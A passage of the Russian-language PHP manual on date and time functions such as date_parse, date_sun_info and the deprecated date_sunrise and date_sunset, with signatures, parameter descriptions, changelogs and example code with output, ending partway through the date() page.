date_default_timezone_set — Устанавливает часовой пояс по умолчанию для всех функций даты/времени в скрипте

Описание

date_default_timezone_set(string $timezoneId): bool

date_default_timezone_set() устанавливает часовой пояс по умолчанию для всех функций даты/времени в скрипте.

Вместо использования этой функции, вы можете воспользоваться INI-настройкой date.timezone для установки часового пояса по умолчанию.

Список параметров

timezoneId

Идентификатор часового пояса, например, UTC, Africa/Lagos, Asia/Hong_Kong или Europe/Lisbon. Список допустимых идентификаторов часовых поясов можно найти в разделе Список поддерживаемых часовых поясов.

Возвращаемые значения

Функция возвращает false, если timezoneId имеет неверное значение, в остальных случаях true.

Примеры

Пример #1 Получение часового пояса по умолчанию

<?php
date_default_timezone_set('America/Los_Angeles');

$script_tz = date_default_timezone_get();

if (strcmp($script_tz, ini_get('date.timezone'))){
echo 'Часовой пояс скрипта отличается от заданного в INI-файле.';
} else {
echo 'Часовой пояс скрипта и настройки INI-файла совпадают.';
}
?>

Смотрите также

  • date_default_timezone_get() - Возвращает часовой пояс, используемый по умолчанию всеми функциями даты/времени в скрипте
  • Список поддерживаемых часовых поясов

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTime::diff

  • « date_default_timezone_set
  • date_format »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::diff

date_diff

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_diff — Псевдоним DateTime::diff()

Описание

Функция является псевдонимом: DateTime::diff()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTime::format

  • « date_diff
  • date_get_last_errors »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::format

date_format

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_format — Псевдоним DateTime::format()

Описание

Функция является псевдонимом: DateTime::format()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTimeImmutable::getLastErrors

  • « date_format
  • date_interval_create_from_date_string »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTimeImmutable::getLastErrors

date_get_last_errors

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_get_last_errors — Псевдоним DateTimeImmutable::getLastErrors()

Описание

Функция является псевдонимом: DateTimeImmutable::getLastErrors()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateInterval::createFromDateString

  • « date_get_last_errors
  • date_interval_format »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateInterval::createFromDateString

date_interval_create_from_date_string

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_interval_create_from_date_string — Псевдоним DateInterval::createFromDateString()

Описание

Функция является псевдонимом: DateInterval::createFromDateString()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateInterval::format

  • « date_interval_create_from_date_string
  • date_isodate_set »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateInterval::format

date_interval_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_interval_format — Псевдоним DateInterval::format()

Описание

Функция является псевдонимом: DateInterval::format()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTime::setISODate

  • « date_interval_format
  • date_modify »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::setISODate

date_isodate_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_isodate_set — Псевдоним DateTime::setISODate()

Описание

Функция является псевдонимом: DateTime::setISODate()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTime::modify

  • « date_isodate_set
  • date_offset_get »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::modify

date_modify

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_modify — Псевдоним DateTime::modify()

Описание

Функция является псевдонимом: DateTime::modify()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTime::getOffset

  • « date_modify
  • date_parse_from_format »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::getOffset

date_offset_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_offset_get — Псевдоним DateTime::getOffset()

Описание

Функция является псевдонимом: DateTime::getOffset()

User Contributed Notes

There are no user contributed notes for this page.


Получение информации о заданной в определённом формате дате

  • « date_offset_get
  • date_parse »
  • PHP Manual
  • Функции даты и времени
  • Получение информации о заданной в определённом формате дате

date_parse_from_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_parse_from_format — Получение информации о заданной в определённом формате дате

Описание

date_parse_from_format(string $format, string $datetime): array

Возвращает ассоциативный массив с подробной информацией о заданной дате/времени.

Список параметров

format

Документацию по параметру format, смотрите в документации к методу DateTimeImmutable::createFromFormat(). Применяются те же правила.

datetime

Строка, представляющая дату/время.

Возвращаемые значения

Возвращает ассоциативный массив с подробной информацией о заданной дате/времени.

Возвращаемый массив содержит ключи year, month, day, hour, minute, second, fraction и is_localtime.

Если присутствует is_localtime, то zone_type указывает тип часового пояса. Для типа 1 (смещение UTC) указывается zone, добавляется поле is_dst; для типа 2 (аббревиатура) добавляются поля tz_abbr и is_dst; для типа 3 (идентификатор часового пояса) добавляются поля tz_abbr и tz_id.

Если в параметре datetime присутствуют элементы относительного времени, например, +3 days, то возвращаемый массив включает вложенный массив с ключом relative. Этот массив затем содержит ключи year, month, day, hour, minute, second, и, если необходимо, weekday и weekdays, в зависимости от переданной строки.

Массив включает поля warning_count и warnings. Первое из них указывает, сколько было предупреждений. Ключи элементов массива warnings указывают на позицию в данном параметре datetime, где произошло предупреждение, а строковое значение описывает само предупреждение.

Массив также содержит поля error_count и errors. Первое из них указывает, сколько ошибок было найдено. Ключи элементов массива errors указывают на позицию в данном параметре datetime, где произошла ошибка, а строковое значение описывает саму ошибку.

Внимание

Количество элементов массивов warnings и errors может быть меньше, чем warning_count или error_count, если они возникли в одной и той же позиции.

Ошибки

Функция выбрасывает ValueError, если параметр datetime содержит нулевые байты.

Список изменений

Версия | Описание
8.0.21, 8.1.8, 8.2.0 | Теперь при передаче нулевых байтов в параметр datetime выбрасывается ValueError, который ранее молча игнорировался.
7.2.0 | Элемент zone возвращаемого массива отображает теперь секунды вместо минут, а его знак инвертируется. Например, -120 теперь будет 7200.

Примеры

Пример #1 Пример использования date_parse_from_format()

<?php
$date = "6.1.2009 13:00+01:00";
print_r(date_parse_from_format("j.n.Y H:iP", $date));
?>

Результат выполнения данного примера:

Array
(
    [year] => 2009
    [month] => 1
    [day] => 6
    [hour] => 13
    [minute] => 0
    [second] => 0
    [fraction] =>
    [warning_count] => 0
    [warnings] => Array
        (
        )

    [error_count] => 0
    [errors] => Array
        (
        )

    [is_localtime] => 1
    [zone_type] => 1
    [zone] => -60
    [is_dst] =>
)

Пример #2 Пример использования date_parse_from_format() с предупреждениями

<?php
$date = "26 August 2022 22:30 pm";
$parsed = date_parse_from_format("j F Y G:i a", $date);

echo "Количество предупреждений: ", $parsed['warning_count'], "\n";
foreach ($parsed['warnings'] as $position => $message) {
echo "\tПозиция {$position}: {$message}\n";
}
?>

Результат выполнения данного примера:

Количество предупреждений: 1
    Позиция 23: The parsed time was invalid

Пример #3 Пример использования date_parse_from_format() с ошибками

<?php
$date = "26 August 2022 CEST";
$parsed = date_parse_from_format("j F Y H:i", $date);

echo "Количество ошибок: ", $parsed['error_count'], "\n";
foreach ($parsed['errors'] as $position => $message) {
echo "\tПозиция {$position}: {$message}\n";
}
?>

Результат выполнения данного примера:

Количество ошибок: 3
    Позиция 15: A two digit hour could not be found
    Позиция 19: Data missing

Смотрите также

  • DateTimeImmutable::createFromFormat() - Разбирает строку с датой согласно указанному формату
  • checkdate() - Проверяет корректность даты по григорианскому календарю

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ассоциативный массив с подробной информацией о заданной дате/времени

  • « date_parse_from_format
  • date_sub »
  • PHP Manual
  • Функции даты и времени
  • Возвращает ассоциативный массив с подробной информацией о заданной дате/времени

date_parse

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_parse — Возвращает ассоциативный массив с подробной информацией о заданной дате/времени

Описание

date_parse(string $datetime): array

Функция date_parse() разбирает указанную в параметре datetime строку по тем же правилам, что и функции strtotime() и DateTimeImmutable::__construct(). Вместо того чтобы возвращать временную метку Unix (при использовании функции strtotime()) или объект DateTimeImmutable (при использовании функции DateTimeImmutable::__construct()), она возвращает ассоциативный массив с информацией, которую функция смогла обнаружить в данной строке параметра datetime.

Если информация об определённой группе элементов не найдена, эти элементы массива будут установлены в значение false или будут отсутствовать. Если это необходимо для построения временной метки или объекта DateTimeImmutable из одной и той же строки параметра datetime, большее количество полей может быть установлено в значение не false. Смотрите примеры, в которых это происходит.

Список параметров

datetime

Дата/время в формате, распознаваемом функцией DateTimeImmutable::__construct().

Возвращаемые значения

Возвращает массив (array), содержащий информацию о дате/времени.

Возвращаемый массив содержит ключи year, month, day, hour, minute, second, fraction и is_localtime.

Если присутствует is_localtime, то zone_type указывает тип часового пояса. Для типа 1 (смещение UTC) указывается zone, добавляется поле is_dst; для типа 2 (аббревиатура) добавляются поля tz_abbr и is_dst; для типа 3 (идентификатор часового пояса) добавляются поля tz_abbr и tz_id.

Если в параметре datetime присутствуют элементы относительного времени, например, +3 days, то возвращаемый массив включает вложенный массив с ключом relative. Этот массив затем содержит ключи year, month, day, hour, minute, second, и, если необходимо, weekday и weekdays, в зависимости от переданной строки.

Массив включает поля warning_count и warnings. Первое из них указывает, сколько было предупреждений. Ключи элементов массива warnings указывают на позицию в данном параметре datetime, где произошло предупреждение, а строковое значение описывает само предупреждение.

Массив также содержит поля error_count и errors. Первое из них указывает, сколько ошибок было найдено. Ключи элементов массива errors указывают на позицию в данном параметре datetime, где произошла ошибка, а строковое значение описывает саму ошибку.

Внимание

Количество элементов массивов warnings и errors может быть меньше, чем warning_count или error_count, если они возникли в одной и той же позиции.

Ошибки

В случае возникновения ошибок форматирования даты/времени, элемент массива 'errors' будет содержать сообщения об этих ошибках.

Список изменений

Версия | Описание
7.2.0 | Элемент возвращаемого массива с ключом zone теперь содержит секунды, а не минуты. Кроме того, знак инвертирован. Т.е. раньше был -120, а теперь 7200.

Примеры

Пример #1 Пример использования функции date_parse() с полной строкой datetime

<?php
var_dump(date_parse("2006-12-12 10:00:00.5"));
?>

Результат выполнения данного примера:

array(12) {
  ["year"]=>
  int(2006)
  ["month"]=>
  int(12)
  ["day"]=>
  int(12)
  ["hour"]=>
  int(10)
  ["minute"]=>
  int(0)
  ["second"]=>
  int(0)
  ["fraction"]=>
  float(0.5)
  ["warning_count"]=>
  int(0)
  ["warnings"]=>
  array(0) {
  }
  ["error_count"]=>
  int(0)
  ["errors"]=>
  array(0) {
  }
  ["is_localtime"]=>
  bool(false)
}

Элементы часовых поясов появляются только в том случае, если они включены в заданную строку параметра datetime. В этом случае всегда будет присутствовать элемент zone_type и ещё несколько в зависимости от его значения.

Пример #2 Пример использования date_parse() с информацией об аббревиатуре часового пояса

<?php
var_dump(date_parse("June 2nd, 2022, 10:28:17 BST"));
?>

Результат выполнения данного примера:

array(16) {
  ["year"]=>
  int(2022)
  ["month"]=>
  int(6)
  ["day"]=>
  int(2)
  ["hour"]=>
  int(10)
  ["minute"]=>
  int(28)
  ["second"]=>
  int(17)
  ["fraction"]=>
  float(0)
  ["warning_count"]=>
  int(0)
  ["warnings"]=>
  array(0) {
  }
  ["error_count"]=>
  int(0)
  ["errors"]=>
  array(0) {
  }
  ["is_localtime"]=>
  bool(true)
  ["zone_type"]=>
  int(2)
  ["zone"]=>
  int(0)
  ["is_dst"]=>
  bool(true)
  ["tz_abbr"]=>
  string(3) "BST"
}

Пример #3 Пример использования date_parse() с информацией об идентификаторе часового пояса

<?php
var_dump(date_parse("June 2nd, 2022, 10:28:17 Europe/London"));
?>

Результат выполнения данного примера:

array(14) {
  ["year"]=>
  int(2022)
  ["month"]=>
  int(6)
  ["day"]=>
  int(2)
  ["hour"]=>
  int(10)
  ["minute"]=>
  int(28)
  ["second"]=>
  int(17)
  ["fraction"]=>
  float(0)
  ["warning_count"]=>
  int(0)
  ["warnings"]=>
  array(0) {
  }
  ["error_count"]=>
  int(0)
  ["errors"]=>
  array(0) {
  }
  ["is_localtime"]=>
  bool(true)
  ["zone_type"]=>
  int(3)
  ["tz_id"]=>
  string(13) "Europe/London"
}

Если разбирается более минимальная строка параметра datetime, то информации будет меньше. В этом примере все части времени возвращаются как false.

Пример #4 Пример использования date_parse() с минимальной строкой

<?php
var_dump(date_parse("June 2nd, 2022"));
?>

Результат выполнения данного примера:

array(12) {
  ["year"]=>
  int(2022)
  ["month"]=>
  int(6)
  ["day"]=>
  int(2)
  ["hour"]=>
  bool(false)
  ["minute"]=>
  bool(false)
  ["second"]=>
  bool(false)
  ["fraction"]=>
  bool(false)
  ["warning_count"]=>
  int(0)
  ["warnings"]=>
  array(0) {
  }
  ["error_count"]=>
  int(0)
  ["errors"]=>
  array(0) {
  }
  ["is_localtime"]=>
  bool(false)
}

Относительные форматы не влияют на значения, разбираемые из абсолютных форматов, но разбираются в элемент "relative".

Пример #5 Пример использования date_parse() с относительными форматами

<?php
var_dump(date_parse("2006-12-12 10:00:00.5 +1 week +1 hour"));
?>

Результат выполнения данного примера:

array(13) {
  ["year"]=>
  int(2006)
  ["month"]=>
  int(12)
  ["day"]=>
  int(12)
  ["hour"]=>
  int(10)
  ["minute"]=>
  int(0)
  ["second"]=>
  int(0)
  ["fraction"]=>
  float(0.5)
  ["warning_count"]=>
  int(0)
  ["warnings"]=>
  array(0) {
  }
  ["error_count"]=>
  int(0)
  ["errors"]=>
  array(0) {
  }
  ["is_localtime"]=>
  bool(false)
  ["relative"]=>
  array(6) {
    ["year"]=>
    int(0)
    ["month"]=>
    int(0)
    ["day"]=>
    int(7)
    ["hour"]=>
    int(1)
    ["minute"]=>
    int(0)
    ["second"]=>
    int(0)
  }
}

Некоторые строки, такие как Thursday, установят временную часть строки в значение 0. Если Thursday передать в функцию DateTimeImmutable::__construct(), то это также приведёт к тому, что час, минута, секунда и дробь будут установлены в значение 0. В приведённом ниже примере элемент year, однако, оставлен как false.

Пример #6 Пример использования date_parse() с побочными эффектами

<?php
var_dump(date_parse("Thursday, June 2nd"));
?>

Результат выполнения данного примера:

array(13) {
  ["year"]=>
  bool(false)
  ["month"]=>
  int(6)
  ["day"]=>
  int(2)
  ["hour"]=>
  int(0)
  ["minute"]=>
  int(0)
  ["second"]=>
  int(0)
  ["fraction"]=>
  float(0)
  ["warning_count"]=>
  int(0)
  ["warnings"]=>
  array(0) {
  }
  ["error_count"]=>
  int(0)
  ["errors"]=>
  array(0) {
  }
  ["is_localtime"]=>
  bool(false)
  ["relative"]=>
  array(7) {
    ["year"]=>
    int(0)
    ["month"]=>
    int(0)
    ["day"]=>
    int(0)
    ["hour"]=>
    int(0)
    ["minute"]=>
    int(0)
    ["second"]=>
    int(0)
    ["weekday"]=>
    int(4)
  }
}

Смотрите также

  • date_parse_from_format() - Получение информации о заданной в определённом формате дате для разбора параметра datetime с определённым заданным форматом
  • checkdate() - Проверяет корректность даты по григорианскому календарю для проверки григорианской даты
  • getdate() - Возвращает информацию о дате/времени

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTime::sub

  • « date_parse
  • date_sun_info »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::sub

date_sub

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_sub — Псевдоним DateTime::sub()

Описание

Функция является псевдонимом: DateTime::sub()

Смотрите также

  • DateTimeImmutable::sub() - Вычитает переданное количество дней, месяцев, лет, часов, минут и секунд
  • DateTime::sub() - Вычитает дни, месяцы, годы, часы, минуты и секунды из объекта DateTime

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив с информацией о закате/рассвете и начале/окончании сумерек

  • « date_sub
  • date_sunrise »
  • PHP Manual
  • Функции даты и времени
  • Возвращает массив с информацией о закате/рассвете и начале/окончании сумерек

date_sun_info

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

date_sun_info — Возвращает массив с информацией о закате/рассвете и начале/окончании сумерек

Описание

date_sun_info(int $timestamp, float $latitude, float $longitude): array

Список параметров

timestamp

Временная метка Unix.

latitude

Широта в градусах.

longitude

Долгота в градусах.

Возвращаемые значения

Возвращает массив в случае успешного выполнения или false в случае возникновения ошибки. Структура массива подробно описана в следующем списке:

sunrise
Временная метка восхода солнца (зенитный угол = 90°35').
sunset
Временная метка заката солнца (зенитный угол = 90°35').
transit
Временная метка, когда солнце находится в своём зените, то есть достигло самой верхней точки.
civil_twilight_begin
Начало гражданского рассвета (зенитный угол = 96°). Оно заканчивается на sunrise.
civil_twilight_end
Конец гражданского заката (зенитный угол = 96°). Оно начинается на sunset.
nautical_twilight_begin
Начало навигационного рассвета (зенитный угол = 102°). Оно заканчивается civil_twilight_begin.
nautical_twilight_end
Конец навигационного заката (зенитный угол = 102°). Оно начинается на civil_twilight_end.
astronomical_twilight_begin
Начало астрономического рассвета (зенитный угол = 108°). Оно заканчивается на nautical_twilight_begin.
astronomical_twilight_end
Конец астрономического заката (зенитный угол = 108°). Оно начинается на nautical_twilight_end.

Значения элементов массива - либо временная метка UNIX, false, если солнце находится ниже соответствующего зенита в течение всего дня, или true, если солнце находится выше соответствующего зенита в течение всего дня.

Список изменений

Версия | Описание
7.2.0 | Расчёт был исправлен с учётом местной полуночи вместо местного полудня, что несколько изменяет результаты.

Примеры

Пример #1 Пример использования date_sun_info()

<?php
$sun_info = date_sun_info(strtotime("2006-12-12"), 31.7667, 35.2333);
foreach ($sun_info as $key => $val) {
echo "$key: " . date("H:i:s", $val) . "\n";
}
?>

Результат выполнения данного примера:

sunrise: 05:52:11
sunset: 15:41:21
transit: 10:46:46
civil_twilight_begin: 05:24:08
civil_twilight_end: 16:09:24
nautical_twilight_begin: 04:52:25
nautical_twilight_end: 16:41:06
astronomical_twilight_begin: 04:21:32
astronomical_twilight_end: 17:12:00

Пример #2 Полярная ночь с некоторой обработкой

<?php
$tz = new \DateTimeZone('America/Anchorage');
$si = date_sun_info(strtotime("2022-12-21"), 70.21, -148.51);
foreach ($si as $key => $value) {
echo
match ($value) {
true => 'always',
false => 'never',
default => date_create("@{$value}")->setTimeZone($tz)->format( 'H:i:s T' ),
},
": {$key}",
"\n";
}?>

Результат выполнения данного примера:

never: sunrise
never: sunset
12:52:18 AKST: transit
10:53:19 AKST: civil_twilight_begin
14:51:17 AKST: civil_twilight_end
09:01:47 AKST: nautical_twilight_begin
16:42:48 AKST: nautical_twilight_end
07:40:47 AKST: astronomical_twilight_begin
18:03:49 AKST: astronomical_twilight_end

Пример #3 Полуночное солнце (Тромсё, Норвегия)

<?php
$si = date_sun_info(strtotime("2022-06-26"), 69.68, 18.94);
print_r($si);
?>

Результат выполнения данного примера:

Array
(
    [sunrise] => 1
    [sunset] => 1
    [transit] => 1656240426
    [civil_twilight_begin] => 1
    [civil_twilight_end] => 1
    [nautical_twilight_begin] => 1
    [nautical_twilight_end] => 1
    [astronomical_twilight_begin] => 1
    [astronomical_twilight_end] => 1
)

Пример #4 Вычисление продолжительности дня (Киев)

<?php
$si = date_sun_info(strtotime('2022-08-26'), 50.45, 30.52);
$diff = $si['sunset'] - $si['sunrise'];
echo "Продолжительность дня: ",
floor($diff / 3600), " ч. ",
floor(($diff % 3600) / 60), " сек.\n";
?>

Результат выполнения данного примера:

Продолжительность дня: 13 ч. 56 сек.

Смотрите также

  • date_sunrise() - Возвращает время рассвета для заданных дня и местоположения
  • date_sunset() - Возвращает время захода солнца для заданных дня и местоположения

User Contributed Notes

TheFax 04-Dec-2022 09:27
In the last example, conversion from seconds to Hour, Minutes, Seconds is wrong.
This is the correct verion:

<?php
$si = date_sun_info(strtotime('2022-08-26'), 50.45, 30.52);
$diff = $si['sunset'] - $si['sunrise'];  # $diff is measured in seconds.
echo "Length of day: ",
    floor($diff / 3600), "h",
    floor(($diff % 3600) / 60), "m",
    floor($diff % 60), "s\n";
?>

Output:
  Length of day: 13h53m15s


Возвращает время рассвета для заданных дня и местоположения

  • « date_sun_info
  • date_sunset »
  • PHP Manual
  • Функции даты и времени
  • Возвращает время рассвета для заданных дня и местоположения

date_sunrise

(PHP 5, PHP 7, PHP 8)

date_sunrise — Возвращает время рассвета для заданных дня и местоположения

Внимание

Функция УСТАРЕЛА, начиная с PHP 8.1.0. Полагаться на эту функцию крайне не рекомендуется. Используйте вместо неё функцию date_sun_info().

Описание

date_sunrise(
int $timestamp,
int $returnFormat = SUNFUNCS_RET_STRING,
?float $latitude = null,
?float $longitude = null,
?float $zenith = null,
?float $utcOffset = null
): string|int|float|false

date_sunrise() возвращает время рассвета для определённых дня (заданного аргументом timestamp) и местоположения.

Список параметров

timestamp

Временная метка (timestamp) дня, для которого определяется время рассвета.

returnFormat

Константы returnFormat
константа | описание | пример
SUNFUNCS_RET_STRING | тип возвращаемого результата string | 16:46
SUNFUNCS_RET_DOUBLE | тип возвращаемого результата float | 16.78243132
SUNFUNCS_RET_TIMESTAMP | тип возвращаемого результата int (временная метка) | 1095034606

latitude

По умолчанию в Северном полушарии, для Южного передаётся отрицательная величина. Смотрите также date.default_latitude.

longitude

По умолчанию восточная, для указания западной долготы передаётся отрицательная величина. Смотрите также date.default_longitude.

zenith

zenith - это угол между центром Солнца и линией, перпендикулярной поверхности Земли. По умолчанию date.sunrise_zenith

Распространённые углы zenith angles
Угол | Описание
90°50' | Восход солнца: точка, где Солнце становится видимым.
96° | Гражданские сумерки: обычно используются для обозначения начала рассвета.
102° | Навигационные сумерки: точка, в которой горизонт становится видимым с моря.
108° | Астрономические сумерки: точка, в которой Солнце начинает быть источником любого освещения.

utcOffset

Задаётся в часах. utcOffset игнорируется, если returnFormat - SUNFUNCS_RET_TIMESTAMP

Возвращаемые значения

Возвращает время восхода солнца в заданном формате returnFormat или false в случае возникновения ошибки. Одна из возможных причин неудачного выполнения - солнце не поднимается над горизонтом вообще, что происходит внутри полярных кругов в течение части года.

Ошибки

Каждый вызов к функциям даты/времени при неправильных настройках часового пояса сгенерирует ошибку уровня E_WARNING, если часовой пояс некорректный. Смотрите также date_default_timezone_set()

Список изменений

Версия | Описание
8.1.0 | Функция объявлена устаревшей, используйте вместе неё date_sun_info().
8.0.0 | latitude, longitude, zenith и utcOffset теперь допускают значение null.

Примеры

Пример #1 Пример использования date_sunrise()

<?php

/* расчёт времени восхода солнца в Лиссабоне, Португалия
Latitude: 38.4 North
Longitude: 9 West
Zenith ~= 90
offset: +1 GMT
*/

echo date("D M d Y"). ', время восхода солнца : ' .date_sunrise(time(), SUNFUNCS_RET_STRING, 38.4, -9, 90, 1);

?>

Результатом выполнения данного примера будет что-то подобное:

Mon Dec 20 2004, время восхода солнца : 08:54

Пример #2 Нет восхода солнца

<?php
$solstice = strtotime('2017-12-21');
var_dump(date_sunrise($solstice, SUNFUNCS_RET_STRING, 69.245833, -53.537222));
?>

Результат выполнения данного примера:

bool(false)

Смотрите также

  • date_sun_info() - Возвращает массив с информацией о закате/рассвете и начале/окончании сумерек

User Contributed Notes

There are no user contributed notes for this page.


Возвращает время захода солнца для заданных дня и местоположения

  • « date_sunrise
  • date_time_set »
  • PHP Manual
  • Функции даты и времени
  • Возвращает время захода солнца для заданных дня и местоположения

date_sunset

(PHP 5, PHP 7, PHP 8)

date_sunset — Возвращает время захода солнца для заданных дня и местоположения

Внимание

Функция УСТАРЕЛА, начиная с PHP 8.1.0. Полагаться на эту функцию крайне не рекомендуется. Используйте вместо неё функцию date_sun_info().

Описание

date_sunset(
int $timestamp,
int $returnFormat = SUNFUNCS_RET_STRING,
?float $latitude = null,
?float $longitude = null,
?float $zenith = null,
?float $utcOffset = null
): string|int|float|false

date_sunset() возвращает время захода солнца для определённых дня (заданного аргументом timestamp) и местоположения.

Список параметров

timestamp

Временная метка (timestamp) дня, для которого определяется время захода солнца.

returnFormat

Константы returnFormat
константа | описание | пример
SUNFUNCS_RET_STRING | тип возвращаемого результата string | 16:46
SUNFUNCS_RET_DOUBLE | тип возвращаемого результата float | 16.78243132
SUNFUNCS_RET_TIMESTAMP | тип возвращаемого результата int (временная метка) | 1095034606

latitude

По умолчанию в Северном полушарии, для Южного передаётся отрицательная величина. Смотрите также date.default_latitude.

longitude

По умолчанию восточная, для указания западной долготы передаётся отрицательная величина. Смотрите также date.default_longitude.

zenith

zenith - это угол между центром Солнца и линией, перпендикулярной поверхности Земли. По умолчанию date.sunset_zenith

Распространённые углы zenith
Угол | Описание
90°50' | Восход солнца: точка, где Солнце становится невидимым.
96° | Гражданские сумерки: обычно используются для обозначения конца заката.
102° | Навигационные сумерки: точка, в которой горизонт становится невидимым с моря.
108° | Астрономические сумерки: точка, в которой Солнце заканчивает быть источником любого освещения.

utcOffset

Задаётся в часах. utcOffset игнорируется, если returnFormat - SUNFUNCS_RET_TIMESTAMP.

Возвращаемые значения

Возвращает время захода солнца в заданном формате returnFormat или false в случае возникновения ошибки. Одна из возможных причин неудачного выполнения - солнце не поднимается над горизонтом вообще, что происходит внутри полярных кругов в течение части года.

Ошибки

Каждый вызов к функциям даты/времени при неправильных настройках часового пояса сгенерирует ошибку уровня E_WARNING, если часовой пояс некорректный. Смотрите также date_default_timezone_set()

Список изменений

Версия | Описание
8.1.0 | Функция объявлена устаревшей, используйте вместе неё date_sun_info().
8.0.0 | latitude, longitude, zenith и utcOffset теперь допускают значение null.

Примеры

Пример #1 Пример использования date_sunset()

<?php

/* calculate the sunset time for Lisbon, Portugal
Latitude: 38.4 North
Longitude: 9 West
Zenith ~= 90
offset: +1 GMT
*/

echo date("D M d Y"). ', время захода солнца : ' .date_sunset(time(), SUNFUNCS_RET_STRING, 38.4, -9, 90, 1);

?>

Результатом выполнения данного примера будет что-то подобное:

Mon Dec 20 2004, время захода солнца : 18:13

Пример #2 Нет заката

<?php
$solstice = strtotime('2017-12-21');
var_dump(date_sunset($solstice, SUNFUNCS_RET_STRING, 69.245833, -53.537222));
?>

Результат выполнения данного примера:

bool(false)

Смотрите также

  • date_sun_info() - Возвращает массив с информацией о закате/рассвете и начале/окончании сумерек

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTime::setTime

  • « date_sunset
  • date_timestamp_get »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::setTime

date_time_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_time_set — Псевдоним DateTime::setTime()

Описание

Функция является псевдонимом: DateTime::setTime()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTime::getTimestamp

  • « date_time_set
  • date_timestamp_set »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::getTimestamp

date_timestamp_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_timestamp_get — Псевдоним DateTime::getTimestamp()

Описание

Функция является псевдонимом: DateTime::getTimestamp()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTime::setTimestamp

  • « date_timestamp_get
  • date_timezone_get »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::setTimestamp

date_timestamp_set

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_timestamp_set — Псевдоним DateTime::setTimestamp()

Описание

Функция является псевдонимом: DateTime::setTimestamp()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTime::getTimezone

  • « date_timestamp_set
  • date_timezone_set »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::getTimezone

date_timezone_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_timezone_get — Псевдоним DateTime::getTimezone()

Описание

Функция является псевдонимом: DateTime::getTimezone()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTime::setTimezone

  • « date_timezone_get
  • date »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::setTimezone

date_timezone_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_timezone_set — Псевдоним DateTime::setTimezone()

Описание

Функция является псевдонимом: DateTime::setTimezone()

User Contributed Notes

There are no user contributed notes for this page.


Форматирует временную метку Unix

  • « date_timezone_set
  • getdate »
  • PHP Manual
  • Функции даты и времени
  • Форматирует временную метку Unix

date

(PHP 4, PHP 5, PHP 7, PHP 8)

date — Форматирует временную метку Unix

Описание

date(string $format, ?int $timestamp = null): string

Возвращает строку, отформатированную в соответствии с указанным в параметре format шаблоном. Используется метка времени, заданная параметром timestamp (метка времени Unix), или текущее системное время, если параметр timestamp не задан. Таким образом, параметр timestamp является необязательным и по умолчанию равен значению, возвращаемому функцией time().

Внимание

Метки времени Unix не обрабатывают часовые пояса. Используйте класс DateTimeImmutable и его метод форматирования DateTimeInterface::format() для форматирования информации о дате/времени с привязкой к часовому поясу.

Список параметров

format

Принятый формат DateTimeInterface::format().

Замечание: Функция date() всегда будет генерировать 000000 в качестве микросекунд, поскольку она принимает параметр int, тогда как DateTime::format() поддерживает микросекунды, если DateTime был создан с микросекундами.

timestamp

Необязательный параметр timestamp представляет собой метку времени типа int, по умолчанию равную текущему локальному времени, если timestamp не указан или null. Другими словами, значение по умолчанию равно результату функции time().

Возвращаемые значения

Возвращает отформатированную строку с датой.

Ошибки

Каждый вызов к функциям даты/времени при неправильных настройках часового пояса сгенерирует ошибку уровня E_WARNING, если часовой пояс некорректный. Смотрите также date_default_timezone_set()

Список изменений

Версия | Описание
8.0.0 | timestamp теперь допускает значение null.

Примеры

Пример #1 Примеры использования функции date()

<?php
// установка часового пояса по умолчанию.
date_default_timezone_set('UTC');

// выведет примерно следующее: Monday
echo date("l");

// выведет примерно следующее: Monday 8th of August 2005 03:12:46 PM
echo date('l jS \of F Y h:i:s A');

// выведет: July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", mktime(0, 0, 0, 7, 1, 2000));

/* пример использования константы в качестве форматирующего параметра */
// выведет примерно следующее: Mon, 15 Aug 2005 15:12:46 UTC
echo date(DATE_RFC822);

